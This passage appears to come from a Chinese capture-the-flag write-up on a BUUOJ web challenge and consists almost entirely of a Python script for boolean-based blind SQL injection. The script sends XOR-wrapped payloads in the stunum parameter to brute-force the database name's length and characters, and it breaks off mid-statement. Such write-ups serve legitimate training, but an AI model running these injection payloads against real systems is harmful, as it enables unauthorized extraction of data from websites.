经过测试判断为盲注,编译脚本如下:
import requests
#database length
def get_database_length():
count = 0
while(1):
url = "http://de626b0f-7c67-4a3f-b657-89451b2a9923.node3.buuoj.cn/?stunum=0^(length(database())={0})".format(count)
html = requests.get(url)
if "Hi admin, your score is: 100" in html.text:
print count
break
count += 1
#3
#database
def get_database_name():
flag = ""
for i in range(1,4):
for j in range(33,128):
url = "http://de626b0f-7c67-4a3f-b657-89451b2a9923.node3.buuoj.cn/?stunum=0^(ascii(substr((select(database())),{0},1))={1})".format(i,j)
html = requests.get(url)
if